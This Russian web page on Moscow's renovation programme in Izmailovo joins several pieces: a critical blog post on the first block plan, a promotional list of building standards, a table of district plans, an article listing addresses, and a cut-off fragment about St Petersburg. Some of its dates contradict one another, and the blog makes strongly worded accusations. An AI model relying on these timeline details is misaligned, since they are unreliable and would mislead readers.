Содержание:
Что ждет измайлово в результате реновации (изучаем первый проект планировки квартала)
В Восточном Измайлове открыли публичные слушания по первому проекту планировки кварталу реновации – кварталу, ограниченному 13-й, 15-й Парковыми, Измайловским и Сиреневым бульваром.
Материалы проекта можно скачать здесь: https://v-izm.renovaciya5.ru/public-hearings/8001390/ (ссылка на файл внизу страницы).
В квартале сносят 33 жилых дома, оставляют 5 жилых домов.
Сносят жилые дома суммарной площадью 129,4 тыс. кв. м., а построят аж 425 тыс. кв. метров жилых домов! То есть в три раза больше жилья, чем было.
Дома будут переменной этажности от 40 до 80 метров (25 этажей). Будет построено 4 дома по 80 метров, 4 дома по 75 метров и два дома по 60 метров. Как видите, это не отдельные доминанты, а все дома квартала!
Привет дуракам, которые поверили Сергею Семеновичу про дома 6-14 этажей. Только в России мэр может прилюдно наврать избирателям и ему за это ничего не будет))
Плотность застройки тоже зашкаливает: до 80000 кв.м. на 1 Га для жилого дома (Хуснуллин врал, что плотность кварталов составит 25000 кв. м на 1 Га). Хуснуллин известный лжец, цена его слову – ноль.
Во дворах парковок не будет (это прямо написано в проекте), дома будут П-образные. Все парковки будут в подземных паркингах под домами. Цель мэрии предельно ясна – лишить нищебродов из хрущевок автомобилей. У кого нет 1,5 млн. руб. на подземный паркинг, тот ходит пешком. Нечего пробки создавать своими дешевыми ведрами))) Автомобиль снова становится роскошью в Москве.
Из проекта предусмотрительно убрали данные о перспективной численности населения квартала, чтобы не пугать посетителей публичных слушаний (а эти данные рассчитываются и они есть!), а также данные о количестве парковок (это чтобы жители в обморок не упали). Зато пишут, что есть подземные укрытия на 5300 человек (видимо, к войне готовятся, предусмотрительные какие).
Будут построены и социальные объекты: школа на 600 мест, два детских сада по 140 мест, детская поликлиника, физкультурно-оздоровительный комплекс, культурно-досуговый объект. Видимо, планируется уплотнить район раза в три.
Что еще? Планируется расширение 13-й Парковой и 15-й Парковой (по 2 полосы в каждом направлении). Это значит, что на 13-й Парковой вырубят все деревья вдоль дороги. Это ужас. Огромный экологический ущерб для района. А главное, в расширении тихой улицы нет никакой необходимости. Горе-архитекторы смотрят на карту и не видят там никаких деревьев. Ни в одном цивилизованном городе не будут без крайней необходимости уничтожать легкие города, но только не в Москве. В Москве деревья это просто помеха на пути строителей.
Какие выводы по первому проекту реновации в Измайлово?
1) Нас ждет 2-3-кратное уплотнение по числу жителей.
2) Уличные парковки исчезнут почти полностью. Автомобили останутся только у самых обеспеченных людей, кто сможет купить подземный паркинг.
3) Массовая вырубка деревьев. Измайлово больше не будет зеленым районом.
Собрание участников публичных слушаний состоится 23 апреля 2022 года в 20:00 в здании ГБОУ города Москвы «Школа № 1811 «Восточное Измайлово» по адресу: 13-я Парковая ул., д.18А. Объявлено, что регистрация начнется в 19:00, но по опыту, нужно приходить часов в 5 вечера, иначе все места займет массовка управы.
Обязательно напишите в замечаниях к проекту, что в проекте планировки квартала, выложенном на сайте управы Восточное Измайлово, отсутствуют данные о перспективной численности населения квартала и количестве парковочных мест!!! Напомню, что количество парковочных мест в домах реновации должно соответствовать региональным нормативам г. Москвы в области транспорта. В среднем это 1 машина на 80 кв.м. жилого дома. Это прописано в базовых требованиях к благоустройству дворов реновации.
Апдейт:От сотрудницы ГБУ Жилищник поступила такая информация: начальство Жилищника всех без исключения сотрудников обязало прийти на собрание 23.04, посвященное вопросам реновации в Восточном Измайлове, причем прийти за час-полтора до его начала, чтобы просто занять все места в зале и чтобы потом охрана под предлогом нехватки мест не пустила туда противников реновации, желающих также принять участие в слушаниях. Кроме того, их всех обязали пойти в Управу и расписаться, что они не возражают против 30-этажной застройки в рамках реновации, причем отказ сделать это грозил проблемами на работе.
50 фото квартир по программе реновации с ремонтом
СТАНДАРТ строительства и отделки для жилых домов по программе Реновации
Яркий архитектурный дизайн и нестандартные 5 фасады новых домов улучшат внешний вид Москвы.
В квартирах установлены пластиковые окна, хорошо 6 защищающие жилые помещения от пыли и шума.
Все квартиры оснащены фасадными корзинами для размещения кондиционеров.
Планировка новых домов предусматривёает наличие балкона или лоджии в каждой квартире.
Высококачественный линолеум в комнатах обладает повышенной износостойкостью. В плинтусах проложены кабель-каналы.
Балконы в квартирах оборудованы стеклопакетами, а на полу уложена качественная керамическая плитка. Это станет дополнительным местом для хранения вещей и отдыха жильцов.
Просторные коридоры со светлой отделкой формируют уютное пространство в квартире. Современный ремонт выполнен «под ключ».
Межкомнатные двери оснащены ручками и фиксаторами замков. Не требуется дополнительных трат на фурнитуру.
Энергоэффективные батареи будут обеспечивать теплом с регулируемым температурным режимом. В домах установят автоматическую систему, которая будет контролировать температуру подачи воды и тепла в зависимости от погодных условий.
В квартирах будет проведена электрическая разводка с безопасными выключателями и розетками.
Все квартиры оснащены индивидуальными приборами учета воды и электроэнергии, показания с которых будут передаваться автоматически.
Все квартиры оборудованы точкой выхода домофона, который позволит контролировать доступ в дом и повысит безопасность.
Фартук из керамической плитки позволит легко поддерживать кухню в чистоте. Достаточное количество розеток позволит удобно разместить кухонный гарнитур, холодильник и другую бытовую технику.
В отделке кухонной зоны используются обои светлых тонов с возможностью окрашивания и фартук из керамической плитки. Пол кухни застелен износостойким линолеумом.
В отделанном плиткой санузле устанавливается керамический унитаз.
Новые дома предполагают раздельный санузел. Здесь устанавливается металлическая ванна с защитным экраном и качественными смесителями с душем.
Качественное оснащение санузла является обязательным условием сдачи новой квартиры. Раковина с пьедесталом и смесителем устанавливается в ванной комнате.
Ванная комната оборудована хромированным полотенцесушителем и точкой доступа к инженерным системам.
Современные детские площадки с безопасным резиновым покрытием оборудованы качелями, горками, спортивными снарядами – всем необходимым для игр и развлечений на воздухе.
Во дворах появятся мощеные дорожки, газоны и цветники, будут высажены кустарники и деревья.
Площадь зеленых насаждений во дворах будет сохранена или увеличена, согласно новым стандартам благоустройства.
В каждом новом квартале появится прогулочная аллея или небольшой парк с хорошим освещением, лавочками, клумбами, детскими площадками.
Входные группы обеспечены низкими порогами и заездные пандусами для удобства жителей. Энергосберегающее освещение подъездов экономит средства при оплате коммунальных услуг.
Керамическая плитка на полу холлов обеспечивает всегда чистый подъезд. Яркий дизайн и современные материалы отделки создают настроение и уют для всех посетителей дома.
Широкие холлы и дверные проемы обеспечивают безбарьерную среду. Теперь не существует проблем для провоза колясок.
Современные почтовые ящики вписываются в общий дизайн подъездных холлов.
Новые дома строятся с учетом повышенных мер безопасности. Установленные видеокамеры будут фиксировать все происходящее 24 часа в сутки.
В домах установлены высокоскоростные лифты. Их запланировано минимум два: грузовой и пассажирский.
Все дома оборудованы современными инженерными системами. Качественные материалы сетей повышают срок их работы, что гарантирует бесперебойное снабжение теплом, водой и электричеством.
Подземные парковки гарантируют владельцу автомобиля безопасность транспортного средства. Кроме того, такая система парковки обеспечивает чистые дворы для отдыха и прогулок без машин.
Все проекты планировки кварталов реновации — проекты планировки кварталов реновации москвы
| Район | Проект планировки | Плотность застройки | Макс. высота застройки | Средняя высота жилых домов | Рост числа квартир в квартале (*) |
|---|---|---|---|---|---|
| Перово | Микрорайоны 13-14, 15-18, ограниченные Зеленым проспектом, улицами 1-я и 2-я Владимирские, Перовская, Перовским ПКиО | 21 тыс. кв.м./га | 75 м. | 65 м. (~20 эт.) | 54% |
| Перово | Микрорайоны 11-12, 21-22, 23-24, части микрорайонов 29, 68, ограниченные шоссе Энтузиастов, улицами Металлургов, 3-я Владимирская, Новогиреевская, Мартеновская, Федеративным и Зеленым проспектами | 34 тыс. кв.м./га | 85 м. | 78 м. (~24 эт.) | 60% |
| Перово | Микрорайоны 1-2, 3-4, 6, ограниченные улицами Перовская, Лазо, Кусковская, Аносова, Удмуртская | 22 тыс. кв.м./га | 85 м. | 60 м. (~18 эт.) | 15% |
| Богородское | Микрорайоны 4Б, 5Б, 8Б, 37Б, ограниченные улицами Бойцовая, Ивантеевская, Просторная, Алымовая, Открытым шоссе, Алымовым переулком | 27 тыс. кв.м./га | 90 м. | 70 м. (~21 эт.) | 16% |
| Богородское | Микрорайон 19Б, ограниченный МЦК, проектируемым проездом № 422, ЛЭП, бульваром Маршала Рокоссовского | 18 тыс. кв.м./га | 80 м. | 74 м. (~22 эт.) | 36% |
| Богородское | Микрорайоны 15-16Б, ограниченные улицами Миллионная, 1-я Мясниковская, Андреево-Забелинская, 3-я Гражданская, проектируемым проездом № 176, | 30 тыс. кв.м./га | 75 м. | 52 м. (~16 эт.) | 71% |
| Соколиная гора | Микрорайоны 8С-13С, 14С, 5М, 8М, 14М, ограниченные Окружным проездом, улицами Уткина, Гаражная, Буракова, 5-й и 8-й улицами Соколиной горы, проспектом Буденного | 31 тыс. кв.м./га | 100 м. | 69 м. (~21 эт.) | 48% |
| Котловка | Микрорайоны 67, 68, 103, 104, 105, 106, ограниченные улицами Нагорная, Ремизова, границей ПК №60, Нахимовским и Севастопольским проспектами | 23 тыс. кв.м./га | 80 м. | 61 м. (~18 эт.) | 31% |
| Кузьминки | Микрорайоны 113, 113А, ограниченные улицей Юных Ленинцев, ООПТ «Кузьминки-Люблино», границей района Кузьминки, Волжским бульваром | 26 тыс. кв.м./га | 85 м. | 57 м. (~17 эт.) | 53% |
| Кузьминки | Микрорайон 120, ограниченный улицами Окская, Фёдора Полетаева, Зеленодольская, Жигулёвская, Зеленодольский проезд | 26 тыс. кв.м./га | 80 м. | 71 м. (~22 эт.) | 70% |
| Кузьминки | Микрорайон 114, ограниченный Волгоградским проспектом, улицей Маршала Чуйкова, Волжским бульваром | 22 тыс. кв.м./га | 70 м. | 59 м. (~18 эт.) | 48% |
| Кузьминки | Микрорайоны 117, 117а, 118, 118а, 119, ограниченные улицей Зеленодольская, Есенинским бульваром, ПК № 71–ЮВАО, участками сохраняемой застройки | 25 тыс. кв.м./га | 85 м. | 65 м. (~20 эт.) | 31% |
| Кузьминки | Микрорайоны 115, 116, 121, ограниченные бульварами Волжский и Есенинский, улицами Жигулевская, Зеленодольская, Фёдора Полетаева, Волгоградским проспектом, Зеленодольским проездом | 22 тыс. кв.м./га | 170 м. | 76 м. (~23 эт.) | 29% |
| Останкинский | Микрорайоны 14, 15-16, 104, ограниченные улицами Академика Королёва, Шереметьевская, Калибровская, Аргуновская, проездами Останкинский, Мурманский, Звёздным бульваром | 22 тыс. кв.м./га | 85 м. | 75 м. (~23 эт.) | 21% |
| Зюзино | Кварталы 25, 26, 31, 35, 36А, ограниченные улицами Каховка, Большая Юшуньская, Балаклавским проспектом, бульварами Чонгарский и Симферопольский | 22 тыс. кв.м./га | 110 м. | 70 м. (~21 эт.) | 33% |
| Зюзино | Кварталы 40, 41, 42, ограниченные улицами Каховка, Большая Юшуньская, проспектами Балаклавский и Севастопольский, парком “Зюзино” | 24 тыс. кв.м./га | 85 м. | 73 м. (~22 эт.) | 42% |
| Зюзино | Кварталы 36, 37, 38, ограниченные долиной реки Котловка, кварталами 10А, 14Б, улицей Каховка, Севастопольским проспектом | 25 тыс. кв.м./га | 100 м. | 75 м. (~23 эт.) | 55% |
| Зюзино | Кварталы 7, 10, 14, ограниченные Нахимовским проспектом, улицами Азовская, Малая Юшуньская, Одесская | 29 тыс. кв.м./га | 100 м. | 81 м. (~25 эт.) | 46% |
| Нижегородский | Кварталы 78, 79, 80, ограниченные Горьковским направлением МЖД, Курским направлением МЖД, линией МЦК | 24 тыс. кв.м./га | 150 м. | 72 м. (~22 эт.) | 93% |
| Коптево | Кварталы 99-102, 95, 98, 100, 101, ограниченные МЦК, улицами Большая Академическая, Михалковская, Лихоборские Бугры | 32 тыс. кв.м./га | 85 м. | 63 м. (~19 эт.) | 47% |
| Коптево | Кварталы 14, 15, 16, 17, 19, ограниченные проездом Черепановых, полосой отвода МЦК, улицами Михалковской, Большой Академической, переулками Старокоптевским, 3-м Михалковским, Коптевским бульваром | 31 тыс. кв.м./га | 85 м. | 59 м. (~18 эт.) | 29% |
| Фили-Давыдково | Кварталы 124, 125, 126, ограниченные Аминьевским шоссе, улицами Ватутина, Кременчугская | 29 тыс. кв.м./га | 120 м. | 65 м. (~20 эт.) | 17% |
| Черёмушки | Кварталы 20-21, 22-23, ограниченные Нахимовским проспектом, улицами Новочеремушкинская, Гарибальди, Архитектора Власова | 26 тыс. кв.м./га | 85 м. | 74 м. (~22 эт.) | 55% |
| Черёмушки | Кварталы 32, 33-34, органиченные улицами Болотниковская, Матушкина, Новочеремушкинская, Каховка, Херсонская, Севастопольским проспектом | 24 тыс. кв.м./га | 95 м. | 79 м. (~24 эт.) | 32% |
| Северное Тушино | Микрорайоны 1, 2, ограниченные улицами Героев Панфиловцев, Планерная, Свободы, Алёшкинским проездом, Химкинским бульваром | 24 тыс. кв.м./га | 85 м. | 84 м. (~25 эт.) | 20% |
| Пресненский | Кварталы 798, 800, ограниченные Звенигородским ш., Стрельбищенским пер., ТТК, жилой застройкой квартала №801 | 29 тыс. кв.м./га | 160 м. | 85 м. (~26 эт.) | 17% |
| Алтуфьевский | Микрорайоны 1-2, 3, 4-5, ограниченные улицами Стандартная, Инженерная, Бегичева, Путевым проездом, Алтуфьевским шоссе, проездом Черского, МЖД | 28 тыс. кв.м./га | 85 м. | 81 м. (~25 эт.) | 33% |
| Бабушкинский | Микрорайоны 1, 14, 18, ограниченные улицами Менжинского, Верхоянская, Енисейская, Анадырским проездом | 22 тыс. кв.м./га | 100 м. | 66 м. (~20 эт.) | 27% |
| Метрогородок | Микрорайоны 1, 2, 2А, ограниченные ООПТ “Лосиный остров”, улицами Николая Химушина, Тагильская | 25 тыс. кв.м./га | 85 м. | 68 м. (~21 эт.) | 53% |
| Люблино | Микрорайоны 23, 29, ограниченные улицами Судакова, Совхозная, Краснодонская | 30 тыс. кв.м./га | 80 м. | 67 м. (~20 эт.) | 83% |
| Бабушкинский | Микрорайоны 10, 13, ограниченные улицами Осташковская, Летчика Бабушкина, Менжинского, Енисейская, Староватутинским проездом | 22 тыс. кв.м./га | 85 м. | 78 м. (~24 эт.) | 40% |
| Свиблово | Микрорайон 23А, ограниченный улицами Седова, Снежная, Лазоревым проездом, ООПТ “Останкино” | 25 тыс. кв.м./га | 70 м. | 50 м. (~15 эт.) | 31% |
| Митино | Поселок Новобратцевский | 33 тыс. кв.м./га | 85 м. | 65 м. (~20 эт.) | 140% |
| Солнцево | Поселок Западный | 37 тыс. кв.м./га | 80 м. | 54 м. (~16 эт.) | 80% |
| Бутырский | Микрорайон 78, ограниченный улицами Милашенкова, Фонвизина, Яблочкова | 35 тыс. кв.м./га | 135 м. | 96 м. (~29 эт.) | 20% |
| Хорошёво-Мневники | Микрорайоны 74, 77, 80, 81, ограниченные бульваром Генерала Карбышева, улицей Маршала Тухачевского, Карамышевской набережной, улицей Демьяна Бедного, проспектом Маршала Жукова, улицей Народного Ополчения. | 24 тыс. кв.м./га | 135 м. | 88 м. (~27 эт.) | 25% |
| Хорошёво-Мневники | Микрорайон 79, ограниченный Лесным массивом, 3-ей Хорошевской улицей, проспектом Маршала Жукова, улицей Демьяна Бедного, | 22 тыс. кв.м./га | 105 м. | 61 м. (~18 эт.) | 38% |
| Нагатино-Садовники | Микрорайон 1А, ограниченный Нагатинской улицей, 1-м Нагатинским проездом, 2-м Нагатинским проездом, Варшавским шоссе | 18 тыс. кв.м./га | 80 м. | 75 м. (~23 эт.) | 40% |
| Солнцево | Микрорайоны 3-3а, ограниченные Наро-Фоминской улицей, Боровским шоссе, железной дорогой, внутренними проездами | 21 тыс. кв.м./га | 90 м. | 64 м. (~19 эт.) | 50% |
| Царицыно | Кварталы 1, 4, 14, 14Б, ограниченные улицами Бехтерева, Кантемировская, Бакинская, Кавказским бульваром | 26 тыс. кв.м./га | 75 м. | 61 м. (~18 эт.) | 29% |
| Головинский | Микрорайоны 4, 10, ограниченные улицами Флотская, Смольная, Авангардная, Пулковская, Кронштадтским бульваром, Ленинградским шоссе | 45 тыс. кв.м./га | 150 м. | 80 м. (~24 эт.) | 20% |
| Головинский | Микрорайоны 13, 14, 20, 123, 123а, ограниченные улицами Флотская, Фестивальная, Лавочкина, Онежской, Зеленоградская, Солнечногорская, Кронштадтским бульваром | 46 тыс. кв.м./га | 150 м. | 77 м. (~23 эт.) | 57% |
| Донской | Квартал 63Б, ограниченный Севастопольским проспектом, МЦК, Загородным шоссе, проектируемым проездом 4848 | 19 тыс. кв.м./га | 80 м. | 71 м. (~22 эт.) | 26% |
| Царицыно | Кварталы 2А, 2Б, ограниченные Кавказским бульваром, улицами Медиков, Каспийская, Луганская | 20 тыс. кв.м./га | 85 м. | 53 м. (~16 эт.) | 50% |
| Хорошёво-Мневники | Микрорайоны 83, 84-85, 86, ограниченные Москворецким парком, улицей Паршина, проспектом Маршала Жукова, улицей Генерала Глаголева | 22 тыс. кв.м./га | 120 м. | 77 м. (~23 эт.) | 17% |
| Гольяново | Микрорайоны 1-2, ограниченные улицами Байкальская, Амурская, Уральская, Монтажная, Щелковским шоссе | 23 тыс. кв.м./га | 80 м. | 63 м. (~19 эт.) | 41% |
| Гольяново | Микрорайоны 3, 4, 5, ограниченные улицами Алтайская, Хабаровская, Новосибирская, Уральская, Щелковским шоссе | 26 тыс. кв.м./га | 75 м. | 53 м. (~16 эт.) | 18% |
| Северное Измайлово | Микрорайоны 37-38, 39, ограниченные Щелковским проездом, Сиреневым бульваром, Щелковским шоссе, Садом-сиренгарием | 25 тыс. кв.м./га | 110 м. | 59 м. (~18 эт.) | 32% |
| Северное Измайлово | Микрорайон 80, ограниченный улицами 15-я Парковая, 16-я Парковая, Щелковским щоссе, Сиреневым бульваром | 27 тыс. кв.м./га | 85 м. | 76 м. (~23 эт.) | 44% |
| Северное Измайлово | Микрорайоны 41-42, 43-45, 44-46, 47-48, 49-50, ограниченные улицами 3-я Парковая, 13-я Парковая, Щелковским шоссе, Сиреневым бульваром | 28 тыс. кв.м./га | 175 м. | 66 м. (~20 эт.) | 41% |
| поселение Михайлово-Ярцевское | Поселок Шишкин лес | 15 тыс. кв.м./га | 55 м. | 47 м. (~14 эт.) | 74% |
| Покровское-Стрешнево | Микрорайон 16, ограничен проездом Стратонавтов, ж/д путями ст. Тушино, проезжей частью Тушинской площади, пром.зоной «Покровское-Стрешнево», природным комплексом ПК №64-СЗАО «Плодовый сад вдоль р. Сходни по Волоколамскому шоссе», Волоколамским шоссе. | 37 тыс. кв.м./га | 75 м. | 75 м. (~23 эт.) | 67% |
| Можайский | Кварталы 78-80, 107-110, ограниченные улицами Рябиновая, Красных Зорь, Гжатская, Багрицкого | 25 тыс. кв.м./га | 85 м. | 65 м. (~20 эт.) | 27% |
| Можайский | Кварталы 71-72,75, ограниченные улицами Кубинка, Маршала Неделина, Гвардейская, Можайским шоссе | 27 тыс. кв.м./га | 85 м. | 79 м. (~24 эт.) | 32% |
| Можайский | Кварталы 67, 68-69, ограниченные улицами Говорова, Барвихинская, Маршала Неделина, Кубинка, Можайским шоссе | 27 тыс. кв.м./га | 65 м. | 52 м. (~16 эт.) | 41% |
| Лосиноостровский | Микрорайоны 2,3, ограниченные улицами Минусинской, Менжинского, Изумрудной, Анадырским проездом | 25 тыс. кв.м./га | 100 м. | 73 м. (~22 эт.) | 49% |
| Проспект Вернадского | Кварталы 32-33, 34-35, ограниченные улицами Лобачевского, Коштоянца, Удальцова, Ленинским проспектом | 27 тыс. кв.м./га | 150 м. | 67 м. (~20 эт.) | 36% |
| Выхино-Жулебино | Микрорайоны 137-138, ограниченные Ферганской улицей, Ферганским проездом, проектируемым проездом № 382 вдоль Волгоградского проспекта, Ташкентской улицей | 26 тыс. кв.м./га | 75 м. | 74 м. (~22 эт.) | 38% |
| Выхино-Жулебино | Микрорайон 128 Б-В, ограниченный улицами Хлобыстова, Вострухина, Рязанским проспектом, проектируемым проездом № 937 | 15 тыс. кв.м./га | 60 м. | 57 м. (~17 эт.) | 26% |
| Выхино-Жулебино | Микрорайон 136, ограниченный улицами Ферганская, Ташкентская, Сормовская, коммунальной зоной | 15 тыс. кв.м./га | 75 м. | 75 м. (~23 эт.) | 47% |
| Нагатинский затон | Микрорайоны 4,5,7 ограниченные Кленовым бульваром, Затонной улицей, Нагатинской набережной, улицами Коломенская, Судостроительная, Речников | 25 тыс. кв.м./га | 85 м. | 70 м. (~21 эт.) | 23% |
| Котловка | Микрорайон 18, ограниченный улицами Большой Черемушкинской, Винокурова, Дмитрия Ульянова, Севастопольским проспектом | 29 тыс. кв.м./га | 85 м. | 78 м. (~24 эт.) | 40% |
| Нагорный | Кварталы 16-73, 75-77, 37-79, ограниченные Болотниковской улицей, Варшавским шоссе, Балаклавским проспектом, Артековской улицей, Симферопольским бульваром | 29 тыс. кв.м./га | 80 м. | 73 м. (~22 эт.) | 32% |
| Нагорный | Кварталы 87-88, 66, ограниченные Криворожской улицей, Нахимовским проспектом, проектируемым проездом № 2305, Варшавским шоссе, Коробовскими садами | 27 тыс. кв.м./га | 80 м. | 72 м. (~22 эт.) | 31% |
| Коньково | Микрорайон 6, ограниченный улицами Введенского, Бутлерова, Миклухо-Маклая, Севастопольским проспектом | 18 тыс. кв.м./га | 80 м. | 71 м. (~22 эт.) | 54% |
| Дмитровский | Микрорайоны 15, 16, 17, 18, ограниченные улицами Вагоноремонтной, Клязьминской, Софьи Ковалевской, Учинской, сквером по Яхромской ул., Дмитровским шоссе, Карельским бульваром | 31 тыс. кв.м./га | 150 м. | 83 м. (~25 эт.) | 18% |
| Люблино | Микрорайоны А, Б, Г, Е, ограниченные улицей Кубанской, ООПТ “Люблино-Кузьминки”, улицей Совхозной, ГКБ им. Семашко, улицами Краснодарской, Судакова, Люблинской, промзоной Люблино-Перерва, железной дорогой | 34 тыс. кв.м./га | 100 м. | 62 м. (~19 эт.) | 38% |
| Тимирязевский | Кварталы 93,95, ограниченные улицей Линии Октябрьской Железной Дороги, 3-м Нижнелихоборским проездом, Локомотивным проездом, Дмитровским шоссе | 39 тыс. кв.м./га | 150 м. | 76 м. (~23 эт.) | 11% |
| Обручевский | Квартал 26-27, ограниченный улицами Гарибальди, Профсоюзная, Наметкина, границей района Ломоносовский | 23 тыс. кв.м./га | 80 м. | 59 м. (~18 эт.) | 24% |
| Очаково-Матвеевское | Микрорайон 1, ограниченный улицами Веерная, Нежинская и Староволынская | 29 тыс. кв.м./га | 75 м. | 68 м. (~21 эт.) | 26% |
| Академический | Квартал 9, ограниченный улицами Кржижановского, Новочеремушкинской, границами районов Котловка, Черемушки | 28 тыс. кв.м./га | 80 м. | 65 м. (~20 эт.) | 95% |
| Ломоносовский | Микрорайон 15, ограниченный Ленинским проспектом, улицами Панферова, Гарибальди, Вавилова | 35 тыс. кв.м./га | 75 м. | 67 м. (~20 эт.) | 18% |
| Бирюлёво Восточное | Микрорайон 3 “Загорье”, ограниченный проектируемым проездом №6800, Загорьевской улицей, Институтом садоводства, Ягодной улицей | 26 тыс. кв.м./га | 65 м. | 49 м. (~15 эт.) | 141% |
| Северное Тушино | Квартал 5, ограниченный улицей Героев Панфиловцев, бульваром Яна Райниса, Туристской улицей | 33 тыс. кв.м./га | 85 м. | 70 м. (~21 эт.) | 46% |
| Бескудниковский | Микрорайоны 8,9, ограниченные переулком 800-летия Москвы, Дмитровским шоссе, Коровинским шоссе, Селигерской ул, Коровинским проездом, Бескудниковским бульваром | 25 тыс. кв.м./га | 145 м. | 81 м. (~25 эт.) | 100% |
| Очаково-Матвеевское | Кварталы 2, 4, ограниченные улицами Большая Очаковская, Пржевальского, Озёрная и Проектируемым проездом №1980 | 38 тыс. кв.м./га | 75 м. | 65 м. (~20 эт.) | 58% |
| Западное Дегунино | Микрорайоны 11, 12, ограниченные улицей Базовская, Коровинским шоссе, улицей Ангарская, улицей Талдомская, улицей Путейская | 30 тыс. кв.м./га | 105 м. | 70 м. (~21 эт.) | 34% |
| Свиблово | Микрорайон 24, ограниченный улицей Снежная, улицей Амундсена, проектируемым проездом № 3660, проездом Нансена | 34 тыс. кв.м./га | 80 м. | 80 м. (~24 эт.) | 33% |
| Фили-Давыдково | Кварталы 58-59, ограниченные улицей Пивченкова, улицей Олеко Дундича, улицей Герасима Курина, улицей Минская | 25 тыс. кв.м./га | 65 м. | 55 м. (~17 эт.) | 43% |
| Покровское-Стрешнево | Микрорайон 3, ограниченный Врачебным проездом, ул. Габричевского, Полесским проездом, линиями Рижского направления МЖД, проездом 1577 | 33 тыс. кв.м./га | 255 м. | 165 м. (~50 эт.) | 91% |
| Крюково | Микрорайон 19, ограниченный проездом 898, Октябрьской железной дорогой, ул. Новокрюковской, ул. Заводской, Георгиевским проспектом, ул. Летчицы Тарасовой, Панфиловским проспектом | 19 тыс. кв.м./га | 80 м. | 69 м. (~21 эт.) | 114% |
| Измайлово | Новый: Территория Сиреневый б-р, вл. 4, ограниченная Сиреневым бульваром, Измайловским проездом, ул. Вернисажной, Серебряно-Виноградным прудом (ООПТ «Измайлово») | 29 тыс. кв.м./га | 110 м. | 60 м. (~18 эт.) | 416% |
| Люблино | Микрорайон Ж, ограниченный предприятием N13 Всероссийского общества слепых, улицей Краснодонская, улицей Люблинская, улицей Верхние Поля | 32 тыс. кв.м./га | 75 м. | 58 м. (~18 эт.) | 40% |
| Ивановское | Квартал 40-52, ограниченный 1-ым проспектом Новогиреева, Напольным проездом, Зеленым проспектом, улицей Молостовых | 38 тыс. кв.м./га | 75 м. | 71 м. (~22 эт.) | 43% |
| Измайлово | Территория Сиреневый б-р, вл. 4, ограниченная Сиреневым бульваром, Измайловским проездом, ул. Вернисажной, Серебряно-Виноградным прудом (ООПТ “Измайлово”) | 32 тыс. кв.м./га | 110 м. | 60 м. (~18 эт.) | 412% |
| Восточное Измайлово | Квартал 36-28, ограниченный Сиреневым бульваром, Измайловским бульваром, 15-й Парковой, 13-й Парковой | 33 тыс. кв.м./га | 80 м. | 74 м. (~22 эт.) | 54% |
Особенности реновации в измайлово
Расселение по программе реновации в этом районе началось в сентябре 2022 года. Необходимо расселить 75 тыс. жителей. Для этого запланировано возведение 20 домов и снос домов на 12 улицах в Северном Измайлове. В Восточной его части сегодня под реновацию подпадают десять улиц. От семидесяти до девяносто семи процентов жителей района проголосовало за переезд в новые дома.
Под снос определены не только «хрущевки», но и панельные дома с устаревшей планировкой и большим сроком их эксплуатации, которые уже не отвечают требованиям комфорта и безопасности. Ремонтировать данные постройки уже нецелесообразно, так как это процесс очень дорогой и постройка нового жилья будет дешевле. Реновация в Измайлово коснется каждого старого пятиэтажного здания на территории района.
Список домов, включенных в программу:
На 3-ой прядильной улице
3-я Прядильная улица, д. 1
3-я Прядильная улица, д. 10
3-я Прядильная улица, д. 11
3-я Прядильная улица, д. 13К1
3-я Прядильная улица, д. 13К2
3-я Прядильная улица, д. 13К3
3-я Прядильная улица, д. 14К1
3-я Прядильная улица, д. 14К2
3-я Прядильная улица, д. 14К3
3-я Прядильная улица, д. 4К2
3-я Прядильная улица, д. 4К3
На никитинской улице
Никитинская улица, д. 15К1
Никитинская улица, д. 19К1
Никитинская улица, д. 19К2
Никитинская улица, д. 19К3
Никитинская улица, д. 21К1
Никитинская улица, д. 21К3
Никитинская улица, д. 5
Никитинская улица, д. 8К1
Никитинская улица, д. 8К2
Новую застройку планируется проводить в несколько этапов:
- строительство нового дома;
- переселение жильцов сносимых строений во вновь возведенные;
- возведение на месте сносимых домов новых.
Планируется закончить работы по сносу ветхого жилья по программе в районе Измайлово до конца 2022 года. Строительство новых домов в Северной и Восточной частях уже ведется на нескольких стартовых площадках. Основное количество переездов запланировано на 2020-2021 годы.
Первые квартиры уже передаются гражданам расселяемых домов в готовом здании № 62Б по пятой Парковой улице. Это 18-этажный дом на 340 квартир. Условия проживания для них после переезда, станут более удобными и комфортными за счет увеличения площади квартир, высоты потолков, наличия лифтов и повышенной шумоизоляции жилых помещений.
Большим плюсом для жителей становится то, что новые квартиры они получают в том же районе, не далеко от прежнего места жительства. Сохраняется доступность ко всем привычным для них социальным структурам. У всех семей сносимых домов, независимо от их расположения, появляется шанс получить равноценное жилье более высокой стоимости.
Посмотреть стартовые площадки
1-я Прядильная ул., вл. 3
3-я Прядильная ул., вл. 10
3-я Прядильная ул., вл. 13
3-я Прядильная ул., вл. 14
7-я Парковая ул., вл. 19-21
Измайловский проезд, влд. 5, з/у 1
Никитинская ул., вл. 19, корп. 1, 2
Никитинская ул., вл. 21, корп. 1, 3
Сиреневый бульвар, вл. 4
Планируется в дальнейшем строительство нового микрорайона между Сиреневским бульваром и Виноградным прудом. Здесь будут возводиться дома с предусмотренной этажностью в пятнадцать – двадцать три этажа. Строительство небоскребов ни в Северной, ни в Восточной частях Измайлова не планируется.
Проживающие в старых домах люди могут при переезде за дополнительную плату увеличить площадь предоставляемого им нового жилья на сто квадратных метров либо при желании даже сменить район. Дополнительные метры этим гражданам будут предоставляться со скидкой. Практически десять процентов жителей сносимых домов выразили желание увеличить площадь своих новых квартир.
https://www.youtube.com/watch?v=dcaO6NomY7g
В Измайлове развит частный бизнес, и собственники нежилых помещений, используемых для нужд этого бизнеса, получат согласно программе реновации равноценные помещения в новых домах. Это даст возможность малому бизнесу продолжить работу в Измайлово. Для этого планируется задействовать первые этажи вновь возводимых объектов.
Планировка квартир в новых домах по программе реновации в москве
С активизацией процесса «реновации» в Петербурге — т.е., «досноса» компанией «СПб Реновация» того, что начиналось сноситься ранее, логично возник вопрос о том, насколько «новое дыхание» отдельно взятой компании является «новым дыханием» в общегородском вопросе «реновации».
Ведь, с одной стороны, новый федеральный закон о реновации позволяет расселять и сносить дома без согласия всех его жителей: теперь достаточно волеизъявления 2/3 собственников.
И в Петербурге, где миллионы граждан живут в «коммунальном рабстве» Управляющих компаний, которые «пришли на дома» через «липовые» Общие собрания собственников, это означает, что если кто-то могущественный положил взгляд на дом, шансы жителей сохранить его — очень невелики.
